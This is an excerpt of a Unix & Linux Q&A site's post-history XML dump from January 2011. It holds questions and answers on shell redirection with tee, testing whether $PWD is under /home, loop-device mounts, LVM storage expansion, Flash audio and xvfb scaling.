  <row Id="14694" PostHistoryTypeId="2" PostId="6429" RevisionGUID="8f995ea1-95c1-449d-a285-6c6c49b7b63f" CreationDate="2011-01-25T10:06:27.053" UserId="4161" Text="http://howto-pages.org/ffmpeg/#strip&#xD;&#xA;&#xD;&#xA;please see the example." />
  <row Id="14695" PostHistoryTypeId="25" PostId="6402" RevisionGUID="042e62e9-5aff-4616-ad1b-de7fd413f821" CreationDate="2011-01-25T10:55:48.523" Comment="http://twitter.com/#!/StackUnix/status/29854946434220033" />
  <row Id="14696" PostHistoryTypeId="2" PostId="6430" RevisionGUID="6ea79f9b-077c-4a79-ba1f-1d3878510960" CreationDate="2011-01-25T12:59:31.297" UserId="2832" Text="To make it clear,&#xD;&#xA;I want to see the output of a command in the terminal as if there were no redirection. &#xD;&#xA;Also stderr need to be redirected to err.log and stdout need to be redirected to stdout.log.&#xD;&#xA;&#xD;&#xA;It would be also nice to have the exact copy of what is shown in terminal, i.e errors printed as and when it occurs in a seperate file stdouterr.log. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="14697" PostHistoryTypeId="1" PostId="6430" RevisionGUID="6ea79f9b-077c-4a79-ba1f-1d3878510960" CreationDate="2011-01-25T12:59:31.297" UserId="2832" Text="How to redirect stderr,out to different files and also display in terminal?" />
  <row Id="14698" PostHistoryTypeId="3" PostId="6430" RevisionGUID="6ea79f9b-077c-4a79-ba1f-1d3878510960" CreationDate="2011-01-25T12:59:31.297" UserId="2832" Text="ébashàéioöredirectionà" />
  <row Id="14699" PostHistoryTypeId="2" PostId="6431" RevisionGUID="0b26b3ab-651d-42f6-bf73-9da63643bd78" CreationDate="2011-01-25T13:39:48.293" UserId="872" Text="Use the `tee` command as follows:&#xD;&#xA;&#xD;&#xA;    (cmd | tee stdout.log) 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3 | tee stderr.log&#xD;&#xA;&#xD;&#xA;`3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3` is how you swap stderr and stdout, because tee can only accept stdout.&#xD;&#xA;&#xD;&#xA;Take a look at [Unix tee command][1] for more advanced redirections using `tee`.&#xD;&#xA;&#xD;&#xA;[1]: http://www.softpanorama.org/Tools/tee.shtml" />
  <row Id="14701" PostHistoryTypeId="2" PostId="6433" RevisionGUID="19327779-e0c1-4099-8366-a5e4b27dd5cb" CreationDate="2011-01-25T13:49:13.587" UserId="863" Text="Were I root I could simply create a dummy user/group, set file permissions accordingly and execute the process as that user. However I am not, so&#xD;&#xA;&#xD;&#xA;&gt; is there any way to achieve this without being root?" />
  <row Id="14702" PostHistoryTypeId="1" PostId="6433" RevisionGUID="19327779-e0c1-4099-8366-a5e4b27dd5cb" CreationDate="2011-01-25T13:49:13.587" UserId="863" Text="How to run a process with restricted file permissions?" />
  <row Id="14703" PostHistoryTypeId="3" PostId="6433" RevisionGUID="19327779-e0c1-4099-8366-a5e4b27dd5cb" CreationDate="2011-01-25T13:49:13.587" UserId="863" Text="épermissionsàénotörootöuserà" />
  <row Id="14704" PostHistoryTypeId="25" PostId="6430" RevisionGUID="eb009bb4-e453-4172-84d4-9c5068dd0ee2" CreationDate="2011-01-25T13:55:51.000" Comment="http://twitter.com/#!/StackUnix/status/29900254308466689" />
  <row Id="14705" PostHistoryTypeId="5" PostId="4535" RevisionGUID="845adae4-3c9d-4617-a250-44100f8de2e9" CreationDate="2011-01-25T14:12:07.083" UserId="73" Comment="deleted 114 characters in body; edited title" Text="I am doing a mounting of an iso file and looking at [this tutorial](http://www.cyberciti.biz/tips/how-to-mount-iso-image-under-linux.html). They use the command:&#xD;&#xA;&#xD;&#xA;    $ mount -o loop disk1.iso /mnt/disk&#xD;&#xA;&#xD;&#xA;I'm trying to understand the use of `-o loop`. So I have two questions:&#xD;&#xA;&#xD;&#xA;When I look at the long man page for mount, it takes time to find that `-o` option. If I do `man mount | grep &quot;-o&quot;` I get and error, and when I look in the file I do not find info that &quot;loop&quot; is a command text for option `-o`. Where is that documented?&#xD;&#xA;&#xD;&#xA;Also, what is the &quot;loop device&quot; concept for mounting? Even a good link to an explanation would be appreciated.&#xD;&#xA;" />
  <row Id="14706" PostHistoryTypeId="4" PostId="4535" RevisionGUID="845adae4-3c9d-4617-a250-44100f8de2e9" CreationDate="2011-01-25T14:12:07.083" UserId="73" Comment="deleted 114 characters in body; edited title" Text="What is a &quot;loop device&quot; when mounting?" />
  <row Id="14707" PostHistoryTypeId="2" PostId="6434" RevisionGUID="6cedef63-fe9b-49d4-a4cf-afb312fe6fe9" CreationDate="2011-01-25T15:00:47.493" UserId="1946" Text="I guess you can have some luck with `LD_PRELOAD` to intercept access to certain files, but this might be really tricky." />
  <row Id="14708" PostHistoryTypeId="2" PostId="6435" RevisionGUID="4cf62755-9026-45db-8f3e-1267c90e9dcd" CreationDate="2011-01-25T15:18:22.240" UserId="863" Text="E.g. check if `$PWD` is a subdirectory of /home. In other words I'm searching for a bash string operation to check if one string starts with another." />
  <row Id="14709" PostHistoryTypeId="1" PostId="6435" RevisionGUID="4cf62755-9026-45db-8f3e-1267c90e9dcd" CreationDate="2011-01-25T15:18:22.240" UserId="863" Text="How to check if $PWD is a subdirectory of a given path" />
  <row Id="14710" PostHistoryTypeId="3" PostId="6435" RevisionGUID="4cf62755-9026-45db-8f3e-1267c90e9dcd" CreationDate="2011-01-25T15:18:22.240" UserId="863" Text="ébashàéstringà" />
  <row Id="14711" PostHistoryTypeId="2" PostId="6436" RevisionGUID="8cc8c4f8-e6ad-4c70-8e18-a6748add51bf" CreationDate="2011-01-25T15:31:28.463" UserId="688" Text="I don't understand the question too well, but to find the parent of __$PWD__, do `dirname $PWD`. To find the parent of the parent, run `dirname $(dirname $PWD)`, and so on..." />
  <row Id="14712" PostHistoryTypeId="2" PostId="6437" RevisionGUID="56255194-3f3c-4801-9d2d-5d16f1bf2e8d" CreationDate="2011-01-25T15:48:12.083" UserId="863" Text="Crude version:&#xD;&#xA;&#xD;&#xA;    [ ${PWD:0:6} = &quot;/home/&quot; ]&#xD;&#xA;&#xD;&#xA;Has the disadvantage that one has to count characters first and there can't replace `/home/` by something general like `$1`." />
  <row Id="14713" PostHistoryTypeId="2" PostId="6438" RevisionGUID="28ad048c-b521-4a16-81c8-6cafa1a77341" CreationDate="2011-01-25T15:59:14.483" UserId="3629" Text="How about this:&#xD;&#xA;&#xD;&#xA;    test &quot;${PWD##/home/}&quot; != &quot;${PWD}&quot;&#xD;&#xA;&#xD;&#xA;If `$PWD` starts with &quot;/home/&quot;, it gets stripped off in the left side, which means it won't match the right side, so &quot;!=&quot; returns true." />
  <row Id="14714" PostHistoryTypeId="2" PostId="6439" RevisionGUID="94f578b8-9573-42a2-a681-18cce2568ab6" CreationDate="2011-01-25T16:00:44.197" UserId="4176" Text="I work as a student assistant Linux admin and I just packaged up Adobe's &quot;Square&quot; plugin to get 64bit FF running flash pretty well (first time I've seen it work this well), but there's one little problem I've come across thus far: if you open one browser and start using flash the second browser will not be able to output sound. I realize this is probably because of what sound driver is being used but is there any good way to fix this or is this just how it is for Flash being the bane of my existence?&#xD;&#xA;&#xD;&#xA;Thanks for any help!" />
  <row Id="14715" PostHistoryTypeId="1" PostId="6439" RevisionGUID="94f578b8-9573-42a2-a681-18cce2568ab6" CreationDate="2011-01-25T16:00:44.197" UserId="4176" Text="Flash running in Chromium and FF at once, why no sound in the second browser?" />
  <row Id="14716" PostHistoryTypeId="3" PostId="6439" RevisionGUID="94f578b8-9573-42a2-a681-18cce2568ab6" CreationDate="2011-01-25T16:00:44.197" UserId="4176" Text="éfedoraàéflashàéfirefoxàéchromeàé64bità" />
  <row Id="14717" PostHistoryTypeId="5" PostId="6437" RevisionGUID="98de00d0-57f8-4afe-8284-33392f94cd5f" CreationDate="2011-01-25T16:05:25.360" UserId="863" Comment="deleted 2 characters in body" Text="Crude version:&#xD;&#xA;&#xD;&#xA;    [ ${PWD:0:6} = &quot;/home/&quot; ]&#xD;&#xA;&#xD;&#xA;Has the disadvantage that one has to count characters first and one can't replace `/home/` by something general like `$1`." />
  <row Id="14718" PostHistoryTypeId="2" PostId="6440" RevisionGUID="5fa866e6-70be-4093-9157-a180e22fdd24" CreationDate="2011-01-25T16:09:10.317" UserId="1946" Text="Hm, it's pity that `[` doesn't have an option of testing `STRING1 starts with STRING2` condition.&#xD;&#xA;&#xD;&#xA;You may try `echo $PWD | grep '^$VAR'`, but it can fail in interesting ways when `VAR` contains special symbols.&#xD;&#xA;&#xD;&#xA;`awk`'s `index` function should be able to do the trick.  But all this seems just too heavy for such an easy thing to test." />
  <row Id="14719" PostHistoryTypeId="2" PostId="6441" RevisionGUID="7a7113a9-8825-40b7-b705-d4b1ff6cc55b" CreationDate="2011-01-25T16:25:43.827" UserId="872" Text="Using `awk`:&#xD;&#xA;&#xD;&#xA;    echo $PWD | awk -v h=&quot;/home&quot; '$0 ~ h {print &quot;MATCH&quot;}'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14720" PostHistoryTypeId="2" PostId="6442" RevisionGUID="385dd92c-58c8-4582-9fe2-3b83fb524eae" CreationDate="2011-01-25T16:33:59.660" UserId="3309" Text="Check to see if you can play sound in *any* second application. Back when I used Linux on the desktop some audio drivers couldn't mix two audio streams. I really hope that would have been fixed by now, but you never know...&#xD;&#xA;&#xD;&#xA;If you really can't play two simultaneous audio sources then you'll want to install an audio mixing daemon (e.g., esound or similar). A mixing daemon will intercept audio signals, mix them itself then send a single combined audio stream to the dsp.&#xD;&#xA;&#xD;&#xA;But if you can play sound from a second audio source then I'm completely wrong." />
  <row Id="14722" PostHistoryTypeId="2" PostId="6444" RevisionGUID="6c528aa6-4190-4fe9-8d71-c4ecedf05d7b" CreationDate="2011-01-25T16:48:58.773" UserId="4140" Text="&gt; In that case, I'd suggest using&#xD;&#xA;&gt; xbindkeys and wmctrl. &#xD;&#xA;&#xD;&#xA;I've googled for &quot;wmctrl examples&quot; and i found that:&#xD;&#xA;http://spiralofhope.com/wmctrl-examples.html#s12&#xD;&#xA;&#xD;&#xA;So i added th following lines to my openbox configuration:&#xD;&#xA;&#xD;&#xA;    &lt;keybind key=&quot;C-F1&quot;&gt;&#xD;&#xA;      &lt;action name=&quot;Execute&quot;&gt;&#xD;&#xA;        &lt;execute&gt;wmctrl -x uzbl-tabbed -a uzbl-tabbed.Uzbl-tabbed -b toggle,minimize&lt;/execute&gt;&#xD;&#xA;      &lt;/action&gt;&#xD;&#xA;    &lt;/keybind&gt;&#xD;&#xA;&#xD;&#xA;Its works exactly as i wanted, tkanks !" />
  <row Id="14723" PostHistoryTypeId="2" PostId="6445" RevisionGUID="b3f268b3-789d-4807-9c37-0aa9ff18cec9" CreationDate="2011-01-25T16:49:15.650" UserId="4177" Text="If the searched part of path is found I &quot;empty&quot; the variable :&#xD;&#xA;&#xD;&#xA;    [[ -z &quot;${PWD//*\/home\/*/}&quot; ]] &amp;&amp; echo &quot;toto&quot;" />
  <row Id="14724" PostHistoryTypeId="2" PostId="6446" RevisionGUID="d26aa3fe-bf02-4b30-af94-15d443220c3f" CreationDate="2011-01-25T16:50:41.580" UserId="3309" Text="My guess would be that your image doesn't support the architecture of your vm (e.g., 64-bit iso but your vm is specified as 32-bit).&#xD;&#xA;&#xD;&#xA;Mount the CD and check the contents manually to make sure that what you expect to be there is actually there." />
  <row Id="14725" PostHistoryTypeId="25" PostId="6435" RevisionGUID="4fd622a5-3f89-4078-9e07-048d76730fe4" CreationDate="2011-01-25T16:55:51.653" Comment="http://twitter.com/#!/StackUnix/status/29945555962560513" />
  <row Id="14726" PostHistoryTypeId="5" PostId="6444" RevisionGUID="7e9ad285-2b5d-4019-8677-f32ed77e5290" CreationDate="2011-01-25T16:57:28.200" UserId="4140" Comment="deleted 2 characters in body" Text="&gt; In that case, I'd suggest using&#xD;&#xA;&gt; xbindkeys and wmctrl. &#xD;&#xA;&#xD;&#xA;I've googled for &quot;wmctrl examples&quot; and i found that:&#xD;&#xA;http://spiralofhope.com/wmctrl-examples.html#s12&#xD;&#xA;&#xD;&#xA;So i added th following lines to my openbox configuration:&#xD;&#xA;&#xD;&#xA;    &lt;keybind key=&quot;C-F1&quot;&gt;&#xD;&#xA;      &lt;action name=&quot;Execute&quot;&gt;&#xD;&#xA;        &lt;execute&gt;wmctrl -x uzbl-tabbed -a uzbl-tabbed.Uzbl-tabbed -b toggle,hidden&lt;/execute&gt;&#xD;&#xA;      &lt;/action&gt;&#xD;&#xA;    &lt;/keybind&gt;&#xD;&#xA;&#xD;&#xA;Its works exactly as i wanted, tkanks !" />
  <row Id="14728" PostHistoryTypeId="2" PostId="6448" RevisionGUID="f113922b-b9dc-4a82-bc28-4e88ed724cd3" CreationDate="2011-01-25T17:09:41.813" UserId="3976" Text="As described on the [FedoraProject wiki on Flash][1], you might need the PulseAudio ALSA module.  If one of the browser's flash plugin (or pulseaudio itself) has locked the sound device, other apps trying to use the sound device might not succeed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Flash" />
  <row Id="14730" PostHistoryTypeId="2" PostId="6449" RevisionGUID="b2c1c7ce-268c-4e84-a07c-e2cecfd4129f" CreationDate="2011-01-25T17:41:23.770" UserId="3447" Text="[Kdenlive](http://www.kdenlive.org)&#xD;&#xA;&#xD;&#xA;I've only had a little experience with this, but I rarely need to edit video.  It crashed a few times when I used it about a year ago, but maybe it was just me or it's improved.  It's fairly easy to use as well.  &#xD;&#xA;The screenshots on the site show it in KDE, but I don't think it depends on KDE.  I could be wrong though." />
  <row Id="14731" PostHistoryTypeId="5" PostId="6408" RevisionGUID="fbaac7a3-4349-4030-8d79-779f5a3ba4ee" CreationDate="2011-01-25T18:54:12.573" UserId="3069" Comment="deleted 7 characters in body" Text="It certainly is possible to share a home folder (or partition) over different linux distributions.&#xD;&#xA;&#xD;&#xA;But take the following notes:&#xD;&#xA;&#xD;&#xA; - UID and GID must be the same on each distributions for the certain user(s).&#xD;&#xA; - (as already pointed out) different configuration files for the same programs could result in unexpected behavior.&#xD;&#xA; - If you install all distributions onto the same boot folder, make sure that the bootloader handles the different distributions correctly. &#xD;&#xA;&#xD;&#xA;I have a working (virtual) setup:&#xD;&#xA;&#xD;&#xA;    /dev/sda (40GB)&#xD;&#xA;     +-/dev/sda1   /boot (100MB, ext2)&#xD;&#xA;     +-/dev/sda3   swap  (2GB)&#xD;&#xA;     +-/dev/sda4   /home (20GB, ext4)&#xD;&#xA;     +---/dev/sda5  /root (Ubuntu 10.04, 5GB, ext4)&#xD;&#xA;     +---/dev/sda6  /root (Fedora 14, 5GB, ext4)&#xD;&#xA;     +---/dev/sda7  /root (openSUSE 11.3, 5GB, ext4)&#xD;&#xA;     +---/dev/sda8  /root (ArchLinux 2010.05, 5GB, ext4)&#xD;&#xA;&#xD;&#xA;Ubuntu and Fedora both run Gnome 2.30, openSUSE has KDE4 and ArchLinux LXDE. All distributions have their necessary boot files on one partition.&#xD;&#xA;Switching between the distributions provides a persistent user configuration like intended.&#xD;&#xA;&#xD;&#xA;The other possibility would be a lightweight home folder (doesn't have to be a whole partition) for each of the distributions, only providing the necessary configuration files (.gnome2, .kde4, .compiz, .themes, etc.) and a shared data partition with the &quot;heavy&quot; stuff (documents, pictures, videos, music, etc.). Symbolic links in each of the distributions own home folder would then point to the shared partition.&#xD;&#xA;&#xD;&#xA;Afterwards, this can be expanded at will to include other stuff as well.  &#xD;&#xA;Example: You have `eclipse` IDE installed on all distributions and want the same configuration and source files available everywhere. You can create symbolic links on each distributions home folder to the shared one to achieve this.&#xD;&#xA;&#xD;&#xA;This would be Ubuntu:&#xD;&#xA;&#xD;&#xA;    $ ls -l /home/user&#xD;&#xA;    .eclipse -&gt; /mnt/shared/.eclipse&#xD;&#xA;    .gnome2&#xD;&#xA;    Documents -&gt; /mnt/shared/Documents&#xD;&#xA;    workspace -&gt; /mnt/shared/workspace&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;And openSUSE:&#xD;&#xA;&#xD;&#xA;    $ ls -l /home/user&#xD;&#xA;    .eclipse -&gt; /mnt/shared/.eclipse&#xD;&#xA;    .kde4&#xD;&#xA;    Documents -&gt; /mnt/shared/Documents&#xD;&#xA;    workspace -&gt; /mnt/shared/workspace&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;And so on..&#xD;&#xA;&#xD;&#xA;If you're not sure about interfering configuration files, try the second, safer way and find out which home components can be shared easily between the installed distributions." />
  <row Id="14732" PostHistoryTypeId="6" PostId="6439" RevisionGUID="0d20f92c-f990-4a3e-8fb8-7ac233c5e58f" CreationDate="2011-01-25T19:22:16.740" UserId="885" Comment="edited tags" Text="élinuxàéaudioàéfirefoxàéflashàéchromeà" />
  <row Id="14733" PostHistoryTypeId="6" PostId="6307" RevisionGUID="61510614-1244-435e-a14c-e9c466dfb717" CreationDate="2011-01-25T19:39:04.353" UserId="4" Comment="edited tags" Text="éinstallàégrubà" />
  <row Id="14734" PostHistoryTypeId="2" PostId="6450" RevisionGUID="c535d05f-933f-45bc-8235-ed7fb306af19" CreationDate="2011-01-25T19:47:29.180" UserId="4180" Text="I'm currently running a Debian 6.0 server with EXT3, but I'd like to move over to Arch. It's being used as a file server right now with a 1TB drive in it (of which 650GB in it is used). What I'd like to do at a later point (when I'm not completely broke) is buy another drive and add it to the same system (for backing up my main rig). What would be the easiest way of accomplishing this? I've looked into RAID, but it'd be useless because I'd have to reinitialize the array every time I added a new drive. **Note: I'm not fussed about redundancy, it's only going to be hosting mirrored backups which I can easily remake in the case of data loss.**&#xD;&#xA;&#xD;&#xA;Basically: System with clean 1TB drive in, what should I do now to prepare for a new striped drive at a later date *without having to reinitialize any arrays?*" />
  <row Id="14735" PostHistoryTypeId="1" PostId="6450" RevisionGUID="c535d05f-933f-45bc-8235-ed7fb306af19" CreationDate="2011-01-25T19:47:29.180" UserId="4180" Text="What would be a good choice for an elastic file system (for adding storage at a later date)?" />
  <row Id="14736" PostHistoryTypeId="3" PostId="6450" RevisionGUID="c535d05f-933f-45bc-8235-ed7fb306af19" CreationDate="2011-01-25T19:47:29.180" UserId="4180" Text="édebianàéfilesystemsàéarchölinuxàéhardödiskàéraidà" />
  <row Id="14737" PostHistoryTypeId="25" PostId="6439" RevisionGUID="0010033d-2433-4cc7-9ebf-6795d8303440" CreationDate="2011-01-25T19:55:51.703" Comment="http://twitter.com/#!/StackUnix/status/29990854764531712" />
  <row Id="14738" PostHistoryTypeId="2" PostId="6451" RevisionGUID="e848384c-a67a-4689-bff5-b4e4d4970413" CreationDate="2011-01-25T19:57:32.970" UserId="4180" Text="Hey, I'm stupid! I can just use LVM (which I forgot can do striping). The rubber-ducking debugging method comes to the rescue again" />
  <row Id="14739" PostHistoryTypeId="2" PostId="6452" RevisionGUID="4b1d8436-3d8a-45bc-b013-3f63086a5a3f" CreationDate="2011-01-25T19:59:02.703" UserId="3069" Text="You could try [`avidemux`][1] which handles only one audio file internally (and therefore forces you to select one specific track). I've never tried it with .mp4 but it works with other formats.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://avidemux.berlios.de/" />
  <row Id="14740" PostHistoryTypeId="2" PostId="6453" RevisionGUID="239f591f-7f0a-41a6-92ee-b533fbf682ae" CreationDate="2011-01-25T20:22:57.460" UserId="885" Text="If you really don't care about reliability, you can use [LVM](http://en.wikipedia.org/wiki/Logical_Volume_Manager_%28Linux%29) and keep adding physical volumes to a single volume group. That is, you would have a single volume group acting as a virtual drive, made up of several physical volumes (the actual drives). Instead of PC-style partitions, you'd create logical volumes for filesystems and swap.&#xD;&#xA;&#xD;&#xA;LVM is a good idea anyway if you're planning to extend your storage or move stuff around. It's a lot easier to resize an LVM volume or move it to a different drive than to do this for PC partitions, and all the LVM stuff can be done online (i.e. while running from the mounted volume).&#xD;&#xA;&#xD;&#xA;Linux's [RAID subsystem](https://raid.wiki.kernel.org/index.php/Main_Page) can [grow](https://raid.wiki.kernel.org/index.php/Growing) RAID-5 and RAID-6 arrays (it's slow, but can be done online), but curiously not linear arrays, so you'd have to start with at least two disks.&#xD;&#xA;&#xD;&#xA;You could also look into [ZFS](http://en.wikipedia.org/wiki/ZFS), a filesystem with built-in volume management. I don't know what its capabilities for adding storage are.&#xD;&#xA;" />
  <row Id="14741" PostHistoryTypeId="2" PostId="6454" RevisionGUID="124c45bc-c0de-4f6b-8209-a93814587c66" CreationDate="2011-01-25T20:38:35.257" UserId="885" Text="To test if a string is a prefix of another, in any Bourne-style shell:&#xD;&#xA;&#xD;&#xA;    case $PWD/ in&#xD;&#xA;      /home/*) echo &quot;home sweet home&quot;;;&#xD;&#xA;      *) echo &quot;away from home&quot;;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;The same principle works for a suffix or substring test. Note that in `case` constructs, unlike in file names, `*` matches any character, including a `/` or an initial `.`.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you're specifically testing whether the current directory is underneath `/home`, a simple substring test is not enough, because of symbolic links.&#xD;&#xA;&#xD;&#xA;If `/home` is a filesystem of its own, test whether the current directory (`.`) is on that filesystem.&#xD;&#xA;&#xD;&#xA;    if [ &quot;$(df -P . | awk 'NR==2 {print $6}')&quot; = &quot;/home&quot; ]; then&#xD;&#xA;      echo 'The current directory is on the /home filesystem'&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;If you have the NetBSD, OpenBSD or GNU (i.e. Linux) `readlink`, you can use `readlink -f` to strip symbolic links from a path.&#xD;&#xA;&#xD;&#xA;    case $(readlink -f .)/ in $(readlink -f /home)/*) …&#xD;&#xA;&#xD;&#xA;Otherwise, you can use `pwd` to show the current directory. But you must take care not to use a shell built-in if your shell tracks `cd` commands and keeps the name you used to reach the directory rather than its “actual” location.&#xD;&#xA;&#xD;&#xA;    case $(pwd -P . 2&gt;/dev/null || command pwd)/ in&#xD;&#xA;      $(cd /home &amp;&amp; { pwd -P . 2&gt;/dev/null || command pwd; })/*) …&#xD;&#xA;" />
  <row Id="14742" PostHistoryTypeId="6" PostId="6435" RevisionGUID="7a8888dd-2ef0-4c7d-ac75-8c7289a5a0e0" CreationDate="2011-01-25T20:41:20.277" UserId="885" Comment="edited tags" Text="ébashàéshellàédirectoryàéstringà" />
  <row Id="14743" PostHistoryTypeId="2" PostId="6455" RevisionGUID="d8e1c08b-b3af-48a4-8855-f0d63273849c" CreationDate="2011-01-25T21:01:49.223" UserId="885" Text="This is a fundamental limitation of the unix permission model: only root can delegate.&#xD;&#xA;&#xD;&#xA;You don't need to be root to run a virtual machine (not true of all VM technologies), but this is a heavyweight solution.&#xD;&#xA;&#xD;&#xA;[User-mode Linux](http://en.wikipedia.org/wiki/User_mode_Linux) is a relatively lightweight Linux-on-Linux virtualization solution. It's not that easy to set up; you'll need to populate a root partition (in a directory) with at least the minimum needed to boot (a few files in `/etc`, `/sbin/init` and its dependencies, a login program, a shell and utilities).&#xD;&#xA;" />
  <row Id="14744" PostHistoryTypeId="6" PostId="6427" RevisionGUID="9f500a04-15ef-421a-93e6-9ef209fd596a" CreationDate="2011-01-25T21:06:42.930" UserId="885" Comment="edited tags" Text="ésoftwareörecàésearchà" />
  <row Id="14745" PostHistoryTypeId="6" PostId="6412" RevisionGUID="d55583c6-9d54-4ee1-9ac0-352bccec1af5" CreationDate="2011-01-25T21:09:00.070" UserId="885" Comment="edited tags" Text="éshellà" />
  <row Id="14746" PostHistoryTypeId="6" PostId="6412" RevisionGUID="cd437bdb-3426-44fc-967a-948f445d8419" CreationDate="2011-01-25T21:10:18.277" UserId="885" Comment="edited tags" Text="éshellàéwildcardsà" />
  <row Id="14747" PostHistoryTypeId="2" PostId="6456" RevisionGUID="40590044-ac34-43f7-8e1e-bda3da8a884e" CreationDate="2011-01-25T21:29:29.377" UserId="3142" Text="Hi there,&#xD;&#xA;&#xD;&#xA;I'm looking to develop a web-application that translates request parameters into a PNG/GIF chart. I'm looking to reuse an open source charting library, but I have concerns about the scalability.&#xD;&#xA;&#xD;&#xA;A long time ago, we were using a single Xvfb buffer to render our image into, but that basically meant servicing only one incoming request at a time.&#xD;&#xA;&#xD;&#xA;Accoring to the [man page][1] it seems we can create numerous buffers? If so, is it simply ensuring there is enough physical RAM to prevent excessive paging? &#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;(Note: wanted to create xvfb tag, but not enough rep :-)&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/xvfb" />
  <row Id="14748" PostHistoryTypeId="1" PostId="6456" RevisionGUID="40590044-ac34-43f7-8e1e-bda3da8a884e" CreationDate="2011-01-25T21:29:29.377" UserId="3142" Text="how to scale xvfb" />
  <row Id="14749" PostHistoryTypeId="3" PostId="6456" RevisionGUID="40590044-ac34-43f7-8e1e-bda3da8a884e" CreationDate="2011-01-25T21:29:29.377" UserId="3142" Text="élinuxà" />
  <row Id="14750" PostHistoryTypeId="5" PostId="6456" RevisionGUID="7469e365-c8d8-4e5b-88a5-9f97397864d4" CreationDate="2011-01-25T21:39:40.030" UserId="73" Comment="deleted 84 characters in body; edited tags; edited title; added 1 characters in body; edited title" Text="I'm looking to develop a web-application that translates request parameters into a PNG/GIF chart. I'm looking to reuse an open source charting library, but I have concerns about the scalability.&#xD;&#xA;&#xD;&#xA;A long time ago, we were using a single Xvfb buffer to render our image into, but that basically meant servicing only one incoming request at a time.&#xD;&#xA;&#xD;&#xA;According to the [man page][1] it seems we can create numerous buffers? If so, is it simply ensuring there is enough physical RAM to prevent excessive paging? &#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/xvfb" />
  <row Id="14751" PostHistoryTypeId="4" PostId="6456" RevisionGUID="7469e365-c8d8-4e5b-88a5-9f97397864d4" CreationDate="2011-01-25T21:39:40.030" UserId="73" Comment="deleted 84 characters in body; edited tags; edited title; added 1 characters in body; edited title" Text="How to scale xvfb?" />
  <row Id="14752" PostHistoryTypeId="6" PostId="6456" RevisionGUID="7469e365-c8d8-4e5b-88a5-9f97397864d4" CreationDate="2011-01-25T21:39:40.030" UserId="73" Comment="deleted 84 characters in body; edited tags; edited title; added 1 characters in body; edited title" Text="élinuxàéxvfbà" />
  <row Id="14753" PostHistoryTypeId="5" PostId="6456" RevisionGUID="eca1b911-22f0-4e96-a573-7e3080d66635" CreationDate="2011-01-25T21:40:02.623" UserId="885" Comment="deleted 82 characters in body; edited tags" Text="I'm looking to develop a web-application that translates request parameters into a PNG/GIF chart. I'm looking to reuse an open source charting library, but I have concerns about the scalability.&#xD;&#xA;&#xD;&#xA;A long time ago, we were using a single Xvfb buffer to render our image into, but that basically meant servicing only one incoming request at a time.&#xD;&#xA;&#xD;&#xA;Accoring to the [man page][1] it seems we can create numerous buffers? If so, is it simply ensuring there is enough physical RAM to prevent excessive paging? &#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/xvfb&#xD;&#xA;" />
  <row Id="14754" PostHistoryTypeId="6" PostId="6456" RevisionGUID="eca1b911-22f0-4e96-a573-7e3080d66635" CreationDate="2011-01-25T21:40:02.623" UserId="885" Comment="deleted 82 characters in body; edited tags" Text="éimageömanipulationàéxvfbà" />
  <row Id="14755" PostHistoryTypeId="2" PostId="6457" RevisionGUID="2bd7a011-ac3e-4765-a893-af1e691ba171" CreationDate="2011-01-25T21:42:54.547" UserId="29" Text="So what I'm looking for is easy enough to code, but I'm wondering if it already exists, so I don't going releasing duplicate code.&#xD;&#xA;&#xD;&#xA;I need a feed reader, that prints the subject, and uri on one line, to stdout. It should be able to be configured (not necessarily by config file) to only show new feeds in say the last 5 minutes.&#xD;&#xA;&#xD;&#xA;The reason I want this is because I'm coding my [ping.fm](http://ping.fm) replacement. I basically want to be able to do something like `feedreader | pingit` where `pingit` will do, `foreach` line of input, make a separate post. In this way I'll also be able to `echo -n &quot;my social post&quot; | pingit` I'll probably also make `pingit &quot;post&quot;` work." />
  <row Id="14756" PostHistoryTypeId="1" PostId="6457" RevisionGUID="2bd7a011-ac3e-4765-a893-af1e691ba171" CreationDate="2011-01-25T21:42:54.547" UserId="29" Text="Simple CLI rss reader, that can print only subject and uri, based on new since time interval" />
  <row Id="14757" PostHistoryTypeId="3" PostId="6457" RevisionGUID="2bd7a011-ac3e-4765-a893-af1e691ba171" CreationDate="2011-01-25T21:42:54.547" UserId="29" Text="écommandölineàésoftwareörecàérssöaggregatorà" />
  <row Id="14758" PostHistoryTypeId="5" PostId="6456" RevisionGUID="3a60af2b-d411-40df-9ff0-876201a08a92" CreationDate="2011-01-25T21:54:34.930" UserId="3142" Comment="added 1 characters in body" Text="I'm looking to develop a web-application that translates request parameters into a PNG/GIF chart. I'm looking to reuse an open source charting library, but I have concerns about the scalability.&#xD;&#xA;&#xD;&#xA;A long time ago, we were using a single Xvfb buffer to render our image into, but that basically meant servicing only one incoming request at a time.&#xD;&#xA;&#xD;&#xA;According to the [man page][1] it seems we can create numerous buffers? If so, is it simply ensuring there is enough physical RAM to prevent excessive paging? &#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/xvfb&#xD;&#xA;" />
